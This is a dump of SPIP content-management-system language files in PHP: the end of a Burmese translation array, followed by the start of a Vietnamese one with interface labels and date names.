'texte_fichier_authent' => '<b>SPIP မှ<tt>.htpasswd</tt> နှင့် <tt>.htpasswd-admin</tt> ဖိုင်များကို လမ်းညွှန် @dossier@ထဲတွင် ဖန်တီးစေလိုပါသလား?</b><p>ဤဖိုင်များသည် ဤဆိုက်၏ ကန့်သတ်ထားသော တခြားနေရာများတွင် စာရေးသူနှင့် စီမံကြီးကြပ်သူတို့ကို ဝင်ရောက်နိုင်အောင် အသုံးပြုနိုင်သည်။</p><p>ဒီဖိုင်များကို သင်အလိုမရှိဘူးဆိုရင် ဤရွေးချယ်မှုကို ဒီအတိုင်းထားနိုင်သည်။</p>', # MODIF
'texte_informations_personnelles_1' => 'စနစ်သည်ဆိုက်တွင် စိတ်ကြိုက်ဝင်ရောက်နိုင်ရန် အကူညီပေးပါမည်',
'texte_informations_personnelles_2' => '(မှတ်စု-အကယ်၍ သည်ဟာသည် ပြန်လည်ထည့်သွင်းခြင်းဖြစ်ပါက သင့်လုပ်ဆောင်ချက်သည် အလုပ်လုပ်နေဆဲဖြစ်သည်။ သင်လုပ်နိုင်သည်', # MODIF
'texte_introductif_article' => '(ဆောင်းပါးတွင် စာသားများ အစပြုခြင်း)',
'texte_jeu_caractere' => 'နိုင်ငံသကာသုံး alphabet (<tt>utf-8</tt>) ကို သင့်ဆိုက်တွင် အသုံးပြုရန် အကြံပြုပါသည်။ ဤသို့ဖြင့် ဘယ်ဘာသာစကားမဆို သင့်ဆိုက်ပေါ်တွင် ဖတ်ရှုနိုင်မည်။ ဤ character set နှင့် ပတ်သက်၍ နောက်ဆုံပေါ် ဘယ်browserနှင့် မဆို အဆင်ပြေပါသည်။',
'texte_jeu_caractere_2' => 'N.B. ဆက်တင်သည် အချက်လက်စုဆောင်းခြင်းတွင် သိမ်းထားပြီးသော စသားများကို ပြောင်းလဲမည်မဟုတ်ပါ',
'texte_jeu_caractere_3' => 'လက်ရှိတွင် သင့်ဝက်ဘ်ဆိုက်က ဤအက္ခရာ သတ်မှတ်ချက်ကို အသုံးပြုနေသည်',
'texte_jeu_caractere_4' => 'သင့် ဒေတာများနှင့် ဆက်နွယ်မှု မရှိဘူးဆိုရင်တော့ (ဥပမာ- အရံသိမ်းဆည်းထားသည့် သိုလှောင်မှုကို ပြန်လည်ထည့်သွင်းပြီးမှ) သို့တည်းမဟုတ် <em>ဤဆိုက်ကိုပြန်လည် တပ်ဆင်ပြီးတော့မှ</em> တခြား character set များကို အသုံးပြုလိုလျှင် ဤနေရာတွင်ဖော်ပြပါ။',
'texte_jeu_caractere_conversion' => 'မှတ်စု- အက္ခရာနေရာအားလုံးနှင့် စာသားအားလုံး (ဆောင်းပါးများ။ သတင်းအမျိုးအစား။ ဖိုရမ်များ စသည်) တစ်ကြိမ်ပြင်ဆင်နိုင်သည်၊ အက္ခရာတည်ဆောက်ရန် <tt>utf-8</tt>။ ထိုသို့ပြုလုပ်ရန် <a href=\\"@url@\\"> UTF-8 စာမျက်နှာ ပေါင်းစည်းခြင်း</a>သို့သွားပါ',
'texte_lien_hypertexte' => '(သင့်စာစောင်သည် ဝက်ဘ်ပေါ်ရှိ ဆောင်းပါးတစ်ခု (သို့) သတင်းအချက်လက် ပိုရနိုင်သောစာမျက်နှာကို ရည်ညွှန်းပါက ဤနေရာတွင် ထိုစာမျက်နှာခေါင်းစဉ်နှင့် ဝက်ဘ်ဆိုက်လိပ်စာကို ထည့်သွင်းပါ)',
'texte_login_ldap_1' => '(အမည်မရှိသူများမဝင်ရောက်နိုင်ရန်သိမ်းထားပါ (သို့) «<tt>uid=smith, ou=users, dc=my-domain, dc=com</tt>».) တို့အတွက် ပြည့်စုံသည့်အပိုင်းကို ထည့်သွင်းပါ',
'texte_login_precaution' => 'သတိပေးချက်-သင်ချိတ်ဆက်ထားသောအရာနှင့် ဝင်ရောက်နိုင်သည်၊ ဤပုံစံကိုဂရုတစိုက်သုံးပါ',
'texte_message_edit' => 'သတိပေးချက်-ဤစာစောင်ကို ဝက်ဘ်ဆိုက်ကြီးကြပ်သူအားလုံးမှ မွမ်းမံပြင်ဆင်နိုင်ပြီး စာတည်းအားလုံးထံတွင်ပေါ်နေသည်။
ဝက်ဘ်ဆိုက်တွင်း အရေးကြီးသော အဖြစ်ပျက်များကိုသာ ကြေငြာရန်သုံးပါ',
'texte_mise_a_niveau_base_1' => 'သင့်SPIP ဖိုင်များကို လက်ရှိအနေအထားတိုင်း မွမ်းမံပြီးဖြစ်သည်။ ဝက်ဘ်ဆိုက်အချက်လက် သိုလှောင်မှုကို အဆင့်မြှင့်ပြုပြင်ပါ',
'texte_modifier_article' => 'ဆောင်းပါးကို ပြန်လည်မွမ်းမံ ပြင်ဆင်ပါ',
'texte_moteur_recherche_active' => '<b>ရှာဖွေမှု အင်ဂျင် ဖွင့်ထားပါသည်</b> စာညွှန်း ပြန်လည်တည်ဆောက်ခြင်း (အမြန်နည်း) အသုံးပြုလိုလျှင် ဤခိုင်းစေချက်ကို နှိပ်ပါ (သင့်ဆိုက် သိမ်းဆည်းထားတာကို ပြန်ထည့်သွင်းပြီးမှ)။ သိစေလိုသည်- SPIP ဝက်ဘ်စာမျက်နှာမှ ပုံမှန် ပြန်လည်မွမ်းမံ ပြင်ဆင်ခြင်းသည် စာညွှန်းများကို အလိုအလျောက် ထည့်ပေးသည်။ ဤစေခိုင်းချက်သည် ခြွင်းချက်အခြေအနေများတွင်သာ အသုံးဝင်သည်။',
'texte_moteur_recherche_non_active' => 'ရှာဖွေမှုအင်ဂျင်ကို ခွင့်မပြုပါ',
'texte_multilinguisme' => 'ဆောင်းပါးများကို ဘာသာစကားအများပြားဖြင့် စီမံလိုပါက ဆောင်းပါးတွင် (သို့) အပိုင်းများတွင် သင့်ဝက်ဆိုက်၏ အမျိုးစားအလိုက်
ဘာသာစကား ရွေးချယ်နိုင်သည့် မီနူးကို ပြည့်စုံသော ဦးတည်ချက်ဖြင့် ထပ်ထည့်ပါ', # MODIF
'texte_multilinguisme_trad' => 'ဘာသာပြန်မတူညီသော ဆောင်းပါးတွင် ဆက်နွယ်မှု စီမံခန့်ခွဲခြင်းကိုလည်း သင်ပြုလုပ်နိုင်ပါသည်', # MODIF
'texte_non_compresse' => '<i>ချုံ့၍မရပါ</i> (သင့်ဆာဗာက သည်ပုံစံကို လက်မခံနိုင်ပါ)',
'texte_nouveau_message' => 'စာစောင်အသစ်',
'texte_nouvelle_version_spip_1' => ' SPIP မူကွဲကိုသင် အခုသွင်းနေသည်',
'texte_nouvelle_version_spip_2' => 'ဤမူကွဲ အသစ်သည် တခြားတွေထက် မြှင့်တင်ခြင်းလုပ်ရန် လိုအပ်ပါသည်။ သင်ဟာ ဒီဝက်ဘ်ဆိုက် webmaster ဖြစ်လျှင် ဖိုင် @connect@ ကို ပယ်ဖျက်ပြီး သိုလှောင်မှု ဆက်သွယ်ရေး အချက်အလက်များ မြှင့်တင်ရန် ထည့်သွင်းခြင်းကို ပြန်လည်ပြုလုပ်ပါ။<p>(NB.: သင့်ဆက်သွယ်မှု အချက်အလက်များကို မေ့လျော့နေလျှင် @connect@ ဖိုင် မဖျက်သိမ်းခင် သေချာမှတ်သားထားပါ!)</p>', # MODIF
'texte_operation_echec' => 'အရင်စာမျက်နှာသို့ ပြန်သွား၍ အချက်လက် စုဆောင်းမှုတစ်ခုကိုရွေးပါ (သို့) အသစ်ပြုလုပ်ပါ၊ သင့် ဆာဗာကြီးကြပ်သူထံမှ သတင်းအချက်လက်များဖြင့် အတည်ပြုပေးပါ',
'texte_plus_trois_car' => 'အက္ခရာ သုံးလုံးထက်ပို၍',
'texte_plusieurs_articles' => ' \\"@cherche_auteur@\\"အတွက်စာရေးသူအမြောက်အများကိုတွေ့ကသည်',
'texte_port_annuaire' => '(သာမာန်အားဖြင့် ကနဦးသိုမှီးချက်အတိုင်းသင့်လျော်သည်)',
'texte_presente_plugin' => 'ဤစာမျက်မှာသည် ဆိုက်ပေါ်တွင် ထပ်ထည့်၍ရသော plugins စာရင်းများဖြစ်သည်။ ရွေးချယ်အတည်ပြု ထည့်သွင်းရန် သက်ဆိုင်ရာကို ရွေးချယ်ပါ။',
'texte_proposer_publication' => 'သင့်ဆောင်းပါးပြီးသောအခါ <br /> ထုတဝေရန်အတွက် တင်သွင်းနိုင်သည်',
'texte_proxy' => 'တချို့မှာ (intranet ကိုယ်ပိုင် networks စသည်) ပူးတွဲချိတ်ဆက်မှု ဆိုက်များနှင့် ချိတ်ဆက်ရန် <i>proxy HTTP</i> ကိုအသုံးပြုရန် လိုအပ်သည်။
proxy လိပ်စာကို အောက်တွင်ဖော်ပြသည့်အတိုင်း ထည့်ပါ <tt><html>http://proxy:8080</html></tt>။ ပုံမှန်အားဖြင့် ကွက်လပ်ထား၍ရသည်။',
'texte_publication_articles_post_dates' => 'အနာဂတ်တွင်ထုတ်ဝေရန်သတ်မှတ်ပြီးသော ဆောင်းပါးများအတွက် SPIP ကမည်သည့်စနစ်ကို သုံးသင့်သလဲ',
'texte_rappel_selection_champs' => '[နေရာကိုမှန်ကန်စွာရွေးချယ်ရန်သတိရပါ]',
'texte_recalcul_page' => 'စာတစ်မျက်နှာကိုသာပြန်သစ်ရန် « refresh » ကိုသုံး၍ အများသုံးဧရိယာမှပြန်လုပ်ပါ',
'texte_recapitiule_liste_documents' => 'ဤစာမျက်နှာသည် အပိုင်းများထဲသို့သင်ထားခဲ့သော စာရွက်စာတမ်းများကို စာရင်းပေါင်းနေသည်။ မှတ်တမ်းတခုချင်းစီအတွက် သတင်းအချက်လက်များကို ပြန်လည်မွမ်းမံရန် ထိုအပိုင်းစာမျက်နှာကို ချိတ်ဆက်ထားသည့်နေရာသို့သွားပါ',
'texte_recuperer_base' => 'အချက်လက်ထိန်းသိမ်းမှုကို ပြန်လည်ပြင်ဆင်ပါ',
'texte_reference_mais_redirige' => ' SPIP ဝက်ဘ်ဆိုက်ထဲတွင် သင့်ကိုးကားဆောင်းပါးသည် အခြားဝက်ဘ်လိပ်စာသို့လမ်းလွဲသည်',
'texte_requetes_echouent' => '<b>MySQL ဆက်သွယ်မှုများ အကြောင်းပြချက်မရှိဘဲနှင့် ဖျက်တောက်ခြင်းခံရလျှင် သိုလှောင်မှုကိုယ်၌ ပြသနာ တရားခံဖြစ်သည်။</b><p>MySQL ရုတ်တရက်ပျက်စီးခဲ့လျှင် သူ့ဟာသူပြင်ဆင်နိုင်ရန် ပါရှိသည်။ ဤနေရာမှ ပြင်ဆင်မှုလုပ်ဆောင်ရန် နှိပ်ပါ။ အကယ်၍ အဆင်မပြေရင် ဖော်ပြလာသော စာသားများကို သိမ်းဆည်းထားပါ။ ဘယ်အရာများ မှားယွင်းကြောင်းကို ဖော်ပြပါရှိမည်။</p><p>ပြသနာ တစုံတရာရှိခဲ့ရင် သင့်ဝက်ဘ်ဝန်ဆောင်မှု ဆက်သွယ်ပါ။</p>', # MODIF
'texte_selection_langue_principale' => 'ဤဝက်ဘ်ဆိုက်၏ \\"အဓိကဘာသာစကား\\" အတွက် အောက်ပါတို့ကို ရွေးချယ်နိုင်သည်။ ဤရွေးချယ်မှုက သင့် ဆောင်းပါးကို ရွေးချယ်သော ဘာသာစကားဖြင့်ရေးရန် ကန့်သတ်မထားပါ သို့သော် ဆုံးဖြတ်ခွင့်ပြုထားသည်။ <ul><li> အများသုံးဝက်ဘ်ဆိုက်ရှိ ရက်စွဲအတွက် ပေးမထားသောပုံစံ</li>
<li>စာသားအပြင်အဆင်စနစ် အင်ဂျင်ကို SPIP မှ စာစီရန်အတွက် အသုံးပြုသည်။</li> <li> အများဆိုင်ဝက်ဘ်ဆိုက်၏ ဖိုရမ်တွင်အသုံးပြုထားသော ဘာသာစကား</li> <li> ကိုယ်ပိုင်နေရာတွင်ဖော်ပြသည့် အခြားဘာသာစကား</li></ul>',
'texte_sous_titre' => 'ခေါင်းစဉ်ခွဲ',
'texte_statistiques_visites' => '(ဘားအနက်များ၊ အနက်ရောင်မျဉ်းကွေး၊ ပျှမ်းမျှအဆင့်)',
'texte_statut_attente_validation' => 'အတည်ပြုရန် ဆိုင်းငံ့ထားသည်',
'texte_statut_publies' => 'အွန်လိုင်းတွင်ထုတ်ဝေသည်',
'texte_statut_refuses' => 'ငြင်းပယ်သည်',
'texte_suppression_fichiers' => 'SPIP မှတ်ဉာဏ်ထဲရှိ ဖိုင်များအားလုံးကို ဤခိုင်းစေမှု လုပ်ဆောင်ချက်မှ အကုန်လုံးပျယ်ဖျက်မည်။',
'texte_sur_titre' => 'ထိပ်စည်းခေါင်းစဉ်',
'texte_table_ok' => 'ဤဇယားအဆင်ပြေသည်',
'texte_tables_indexation_vides' => 'စာညွှန်း ထိန်းသိမ်းထားမှုမရှိပါ',
'texte_tentative_recuperation' => 'ပြုပြင်ရန်ကြိုးစားသည်',
'texte_tenter_reparation' => 'အချက်အလက် သိုလှောင်မှုကို ပြုပြင်ရန်ကြိုးစားသည်',
'texte_test_proxy' => 'ဤပင်မဆာဗာကို စမ်းသပ်ရန် သင်စမ်းသပ်လိုသည့် ဝက်ဘ်ဆိုက်လိပ်စာကို ဖြည့်ပါ',
'texte_titre_02' => 'အကြောင်းအရာ',
'texte_titre_obligatoire' => '<b>ခေါင်းစဉ်</b> [လိုအပ်ပါသည်]',
'texte_travail_article' => '@nom_auteur_modif@သည် ဤဆောင်းပါးတွင် လွန်ခဲ့သော မိနစ် @date_diff@ ကအလုပ်လုပ်ပြီးပြီ',
'texte_travail_collaboratif' => 'စာတည်းများ ဆောင်းပါးတပုဒ်ပေါ်တွင် အတူတူလုပ်ဆောင်နေပါက၊ မှားယွင်းသော လုပ်ဆောင်မှုများ မဖြစ်ရန်၊ နောက်ဆုံး စာတည်း «opened» ဟုဖော်ပြပါမည်။ ဒီသတိပေး စာစောင်ဟာ အနောက်အယှက်များ မဖြစ်စေရန် ကနဦးမှ ပိတ်ပင်ထားပါသည်။',
'texte_trop_resultats_auteurs' => ' \\"@cherche_auteur@\\"; အတွက်ရှာဖွေမှုရလာဒ်များလွန်းသည်၊ ရှာဖွေမှုကိုပြန်ဆန်းစစ်ပါ၊',
'texte_unpack' => 'နောက်ဆုံးမူကွဲကိုဆွဲချနေသည်',
'texte_utilisation_moteur_syndiques' => 'ရှာဖွေမှုပုံစံထည့်သွင်းထားသော SPIP ကိုသင်အသုံးပြုသည့်အခါ ပူးတွဲချိတ်ဆက်ထားသော ဆောင်းပါးများနှင့်
ဝက်ဘ်ဆိုက်ပေါ်ရှာဖွေမှုများကို နည်းနှစ်မျိုးဖြင့်သုံးနိုင်သည်၊ ဆောင်းပါးမှဖော်ပြချက်နှင့် ခေါင်းစဉ်များဖြင့် ရှာဖွေခြင်းသည် အရိုးရှင်းဆုံးနည်းဖြစ်သည်၊
ကိုးကားဝက်ဘ်ဆိုက်များမှ စာသားဖြင့်လည်းရှာဖွေနိုင်သည်၊ သင်ဝက်ဘ်ဆိုက်တခုကိုကိုးကားပါက SPIP ကထိုကိုးကားဝက်ဘ်ဆိုက်စာသားကို အလိုလိုရှာပေးပါလိမ့်မည်', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'ဤနည်းလမ်းသည် ကိုးကားဝက်ဘ်ဆိုက်များသို့ မှန်မှန်လည်ပတ်ရန် SPIP ကိုအာရုံထားသည်',
'texte_vide' => 'မရှိပါ',
'texte_vider_cache' => 'မှတ်ထားချက်မရှိပါ',
'titre_admin_effacer' => 'နည်းပညာထိန်းသိမ်းမှု',
'titre_admin_tech' => 'နည်းပညာထိန်းသိမ်းမှု',
'titre_admin_vider' => 'နည်းပညာထိန်းသိမ်းမှု',
'titre_cadre_afficher_article' => 'ဆောင်းပါးများကို ပြပါ',
'titre_cadre_afficher_traductions' => 'ဝက်ဘ်ဆိုက်အတွက် ဘာသာပြန်ထားသော အောက်ပါဘာသာစကားများကို ဖော်ပြပါ',
'titre_cadre_ajouter_auteur' => 'စာရေးသူတဦးပေါင်းထည့်ပါ',
'titre_cadre_interieur_rubrique' => 'အခန်းကဏ္ဍထဲတွင်',
'titre_cadre_numero_auteur' => 'စာရေးသူအမှတ်',
'titre_cadre_signature_obligatoire' => '<b>အမှတ်အသား</b> [လိုအပ်ပါသည်]<br />',
'titre_config_fonctions' => 'ဝက်ဘ်ဆိုက်ဆက်သွယ်တပ်ဆင်မှု',
'titre_configuration' => 'ဝက်ဘ်ဆိုက်ဆက်သွယ်တပ်ဆင်မှု',
'titre_connexion_ldap' => 'Options: <b>သင့် LDAP ချိတ်ဆက်မှု</b>',
'titre_groupe_mots' => 'သော့ချက်စကားလုံးအုပ်စု',
'titre_langue_article' => 'ဆောင်းပါးဘာသာစကား', # MODIF
'titre_langue_rubrique' => 'အခန်းကဏ္ဍဘာသာစကား', # MODIF
'titre_langue_trad_article' => 'ဆောင်းပါး ဘာသာနှင့် ဘာသာပြန်ခြင်း',
'titre_les_articles' => 'ဆောင်းပါးများ',
'titre_naviguer_dans_le_site' => 'ဤဝက်ဘ်ဆိုက်သွားပါ',
'titre_nouvelle_rubrique' => 'အခန်းကဏ္ဍမသစ်',
'titre_numero_rubrique' => 'အခန်းကဏ္ဍအမှတ်',
'titre_page_admin_effacer' => 'နည်းပညာထိန်းသိမ်းမှု - အချက်လက်သိုလှောင်မှုကို ဖျက်ပစ်ပါ',
'titre_page_articles_edit' => '@titre@ကို ပြန်လည်မွမ်းမံပါ',
'titre_page_articles_page' => 'ဆောင်းပါးများ',
'titre_page_articles_tous' => 'ဝက်ဘ်ဆိုက်တခုလုံး',
'titre_page_auteurs' => 'ဝက်ဘ်ဆိုက်တွင်း လာရောက်ကြည့်ရှုသူများ',
'titre_page_calendrier' => 'ပြက္ခဒိန် @nom_mois@ @annee@',
'titre_page_config_contenu' => 'ဝက်ဘ်ဆိုက်ဆက်သွယ်တပ်ဆင်မှု',
'titre_page_config_fonctions' => 'ဝက်ဘ်ဆိုက်ဆက်သွယ်တပ်ဆင်မှု',
'titre_page_configuration' => 'ဝက်ဘ်ဆိုက်ဆက်သွယ်တပ်ဆင်မှု',
'titre_page_controle_petition' => 'တောင်းဆိုမှုနောက်ဆက်တွဲ',
'titre_page_delete_all' => 'ထာဝရဖျက်သိမ်းခြင်း',
'titre_page_documents_liste' => 'စာရွက်စာတမ်းများတွဲပါ',
'titre_page_index' => 'သင့်ကိုယ်ပိုင် ဧရိယာ',
'titre_page_message_edit' => 'မှာကြားချက်တစောင်ရေးပါ',
'titre_page_messagerie' => 'သင့်မှာကြားချက်',
'titre_page_recherche' => '@recherche@အတွက်ရှာဖွေမှုရလာဒ်',
'titre_page_statistiques_referers' => 'ဝင်လာသော ဆက်နွယ်မှုစာရင်းများ',
'titre_page_upgrade' => 'SPIP မြှင့်တင်မှု',
'titre_publication_articles_post_dates' => 'ရက်လွန်ဆောင်းပါးများထုတ်ဝေခြင်း',
'titre_referencer_site' => 'ဝက်ဘ်ဆိုက်ကို ကိုးကားပါ',
'titre_rendez_vous' => 'ချိန်းဆိုချက်များ',
'titre_reparation' => 'ပြန်လည်ပြင်ဆင်သည်',
'titre_suivi_petition' => 'နောက်ဆက်တွဲတောင်းဆိုမှု',
'tls_ldap' => 'ပို့ဆောင်မှုအလွှာ လုံခြုံရေး',
'trad_article_inexistant' => 'ဤနံပါတ်နှင့် ဆောင်းပါးမရှိပါ',
'trad_article_traduction' => 'ဤဆောင်းပါး၏ မူကွဲအားလုံး',
'trad_deja_traduit' => 'အခက်ခဲ- တောင်းဆိုထားသော နံပါတ်နှင့် ဆက်သွယ်မှုမပြုနိုင်ပါ',
'trad_delier' => 'ဤဆောင်းပါးနှင့် ၄င်း၏ ဘာသာပြန် ချိတ်ဆက်မှု ရပ်ဆိုင်းပါ', # MODIF
'trad_lier' => 'ဤဆောင်းပါးသည် ဆောင်းပါးအမှတ် ကိုဘာသာပြန်ခြင်းဖြစ်သည်',
'trad_new' => 'ဤဆောင်းပါးကို ပြန်လည်ဘာသာပြန်ပါ', # MODIF
// U
'utf8_convert_attendez' => 'ခဏစောင့်ပြီးမှ သည်စာမျက်နှာကို ပြန်သွားပါ',
'utf8_convert_avertissement' => 'သိုလှောင်သိမ်းဆည်းမှုတွင် ပါဝင်သော အရာများ (ဆောင်းပါး၊ သတင်း စသည်) များကို character set <b>@orig@</b> မှ character set <b>@charset@</b> သို့ပြောင်းလဲရန် ကြိုးစားနေသည်။',
'utf8_convert_backup' => 'သင့်ဝက်ဘ်ဆိုက် အပိုသိမ်းဆည်းရန် မမေ့ပါနှင့်၊ ပုံစံနှင့် ဘာသာစကားဖိုင်များကိုလည်း @charset@ နှင့်သင့်လျော်ခြင်း ရှိ၊ မရှိ စစ်ဆေးပါ',
'utf8_convert_erreur_deja' => 'သင့်ဝက်ဘ်ဆိုက်သည် @charset@ အတွင်းရှိသောကြောင့် ပြောင်းလဲ၍မရပါ',
'utf8_convert_erreur_orig' => 'အမှား- အက္ခရာထားရှိမှု @charset@ ကို သုံး၍မရပါ',
'utf8_convert_termine' => 'ပြီးပြီ',
'utf8_convert_timeout' => '<b>အရေးပါသည်</b> ဆာဗာမှ <i>အချိန်ကုန်ပြီဟုပြောလျှင်</i>၊ မြင်ရသည့်အထိ ပြန်ပြန်လုပ်ပါ «Finished!»',
'utf8_convert_verifier' => 'မှတ်ထားချက်ကို အရင်ဖျက်ပစ်ပါ အကယ်၍ အများဆိုင်ဝက်ဘ်ဆိုက် စာမျက်နှာများ အားလုံးအဆင်ပြေလျှင်ပြန်စစ်ပါ။ အကယ်၍ သင်ပြသနာတွေ့ပါက မူရင်းအချက်လက်ကို @rep@ (SQL ပုံစံထဲ)၏ အညွှန်းတွင် အရံသိမ်းဆည်းထားပြီးဖြစ်သည်',
'utf8_convertir_votre_site' => 'သင့်ဝက်ဘ်ဆိုက်ကို ယူနီကုဒ် သို့ပြောင်းပါ',
// V
'version' => 'မူကွဲ'
);
?>
spip_vi.php 0000666 00000104325 15252547432 0006750 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=vi
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'Việt Nam [vi]',
'0_liste' => 'spip-vi@rezo.net',
'0_mainteneur' => 'daoduyp@libertysurf.fr',
// A
'access_interface_graphique' => 'Trở lại giao diện ảnh ',
'access_mode_texte' => 'Xem phần giao diện đơn giản',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Sửa đổi bài này',
'admin_modifier_auteur' => 'Sửa đổi tác giả này',
'admin_modifier_breve' => 'Sửa đổi tin ngắn này',
'admin_modifier_mot' => 'Sửa đổi từ then chốt này',
'admin_modifier_rubrique' => 'Sửa đổi đề mục này',
'admin_recalculer' => 'Cập nhật trang này',
'afficher_trad' => 'xem các bản dịch',
'alerte_maj_impossible' => '<b>Báo Động!</b> Không cập nhật database SQL lên ấn bản @version@ được, có thể là vì không đủ quyền hạn. Xin liên lạc với ISP.',
'alerte_modif_info_concourante' => 'ATTENTION : Cette information a été modifié par ailleurs. La valeur actuelle est :', # MODIF
'analyse_xml' => 'Phân tách XML',
'annuler' => 'Xoá',
'antispam_champ_vide' => 'Để trống ô này:',
'articles_recents' => 'Những bài mới nhất',
'avis_archive_incorrect' => 'Hồ sơ này không phải là một hồ sơ SPIP',
'avis_archive_invalide' => 'Hồ sơ này không có hợp lý',
'avis_attention' => 'LƯU Ý!',
'avis_champ_incorrect_type_objet' => 'Tên field @name@ không đúng cho dạng @type@',
'avis_colonne_inexistante' => 'Không có cột nào tên @col@',
'avis_erreur' => 'CÓ LỖI: xem dưới đây',
'avis_erreur_connexion' => 'Có Lỗi: không nối được',
'avis_erreur_cookie' => 'Có lỗi cookie',
'avis_erreur_fonction_contexte' => 'Có lỗi programming. Function này không nên dùng trong bối cảnh này.', # MODIF
'avis_erreur_mysql' => 'Có Lỗi-SQL', # MODIF
'avis_erreur_sauvegarde' => 'Lỗi trong backup (@type@ @id_objet@)!',
// B
'barre_a_accent_grave' => 'Đánh vào chữ À',
'barre_aide' => 'Sử dụng cách xếp bài tắt để trình bày văn bản',
'barre_e_accent_aigu' => 'Đánh vào chữ É',
'barre_eo' => 'Đánh vào chữ oe',
'barre_eo_maj' => 'Đánh vào chữ OE',
'barre_euro' => 'Thêm chữ €',
'barre_gras' => 'Làm chữ {{đậm lên}}',
'barre_guillemets' => 'Cho chữ vào giữa hai dấu « »',
'barre_guillemets_simples' => 'Cho chữ vào giữa hai dấu ',
'barre_intertitre' => 'Đổi thành {{{Chủ đề phụ}}}',
'barre_italic' => 'Làm chữ {nghiêng}',
'barre_lien' => 'Đổi thành [hyperlink->http://...]',
'barre_lien_input' => 'Xin cho vào địa chỉ hyperlink (bạn có thể dùng Internet URL trong dạng http://www.mysite.com/ hoặc là số bài của trang web này).',
'barre_note' => 'Đổi thành [[Ghi chú]]',
'barre_quote' => '<quote>Trích dẫn một đoạn văn</quote>',
'bouton_changer' => 'Thay đổi',
'bouton_chercher' => 'Tìm',
'bouton_choisir' => 'Chọn',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'Lưu Trữ',
'bouton_radio_desactiver_messagerie_interne' => 'Không sử dụng thư tín nội bộ ',
'bouton_radio_envoi_annonces' => 'Gửi thông báo đến Ban Biên Tập',
'bouton_radio_non_envoi_annonces' => 'Không gửi thông báo',
'bouton_radio_non_envoi_liste_nouveautes' => 'Không gửi tin tức mới nhất',
'bouton_recharger_page' => 'Nạp lại trang này',
'bouton_telecharger' => 'Đem lên',
'bouton_upload' => 'Đem lên', # MODIF
'bouton_valider' => 'Cập nhật',
// C
'cal_apresmidi' => 'buổi chiều',
'cal_jour_entier' => 'nguyên ngày',
'cal_matin' => 'sáng',
'cal_par_jour' => 'lịch trình hàng ngày',
'cal_par_mois' => 'lịch trình hàng tháng',
'cal_par_semaine' => 'lịch trình hàng tuần',
'choix_couleur_interface' => 'màu',
'choix_interface' => 'chọn lựa dao diện',
'colonne' => 'Cột',
'confirm_changer_statut' => 'Cần xác nhận: bạn yêu cầu thay đổi tình trạng của bài này. Bạn có muốn tiếp tục không?',
'correcte' => 'đúng',
// D
'date_aujourdhui' => 'hôm nay',
'date_avant_jc' => 'trước Công Nguyên',
'date_dans' => 'trong @delai@',
'date_de_mois_1' => '@j@ @nommois@',
'date_de_mois_10' => '@j@ @nommois@',
'date_de_mois_11' => '@j@ @nommois@',
'date_de_mois_12' => '@j@ @nommois@',
'date_de_mois_2' => '@j@ @nommois@',
'date_de_mois_3' => '@j@ @nommois@',
'date_de_mois_4' => '@j@ @nommois@',
'date_de_mois_5' => '@j@ @nommois@',
'date_de_mois_6' => '@j@ @nommois@',
'date_de_mois_7' => '@j@ @nommois@',
'date_de_mois_8' => '@j@ @nommois@',
'date_de_mois_9' => '@j@ @nommois@',
'date_demain' => 'ngày mai',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ vào lúc @heure@',
'date_fmt_jour_mois' => '@jour@ @nommois@',
'date_fmt_jour_mois_annee' => '@jour@, @nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'vào @nomjour@ @date@',
'date_heures' => 'giờ',
'date_hier' => 'hôm qua',
'date_il_y_a' => 'cách đây @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'Chủ Nhật',
'date_jour_1_abbr' => 'CN',
'date_jour_1_initiale' => 'CN',
'date_jour_2' => 'Thứ Hai',
'date_jour_2_abbr' => 'T.Hai',
'date_jour_2_initiale' => 'T2',
'date_jour_3' => 'Thứ Ba',
'date_jour_3_abbr' => 'T.Ba',
'date_jour_3_initiale' => 'T3',
'date_jour_4' => 'Thứ Tư',
'date_jour_4_abbr' => 'T.Tư',
'date_jour_4_initiale' => 'T4',
'date_jour_5' => 'Thứ Năm',
'date_jour_5_abbr' => 'T.Năm',
'date_jour_5_initiale' => 'T5',
'date_jour_6' => 'Thứ Sáu',
'date_jour_6_abbr' => 'T.Sáu',
'date_jour_6_initiale' => 'T6',
'date_jour_7' => 'Thứ Bảy',
'date_jour_7_abbr' => 'T.Bảy',
'date_jour_7_initiale' => 'T7',
'date_jours' => 'ngày',
'date_minutes' => 'phút',
'date_mois' => 'tháng',
'date_mois_1' => 'Tháng Giêng',
'date_mois_10' => 'Tháng Mười',
'date_mois_11' => 'Tháng Mười Một',
'date_mois_12' => 'Tháng Mười Hai',
'date_mois_2' => 'Tháng Hai',
'date_mois_3' => 'Tháng Ba',
'date_mois_4' => 'Tháng Tư',
'date_mois_5' => 'Tháng Năm',
'date_mois_6' => 'Tháng Sáu',
'date_mois_7' => 'Tháng Bảy',
'date_mois_8' => 'Tháng Tám',
'date_mois_9' => 'Tháng Chín',
'date_saison_1' => 'mùa đông',
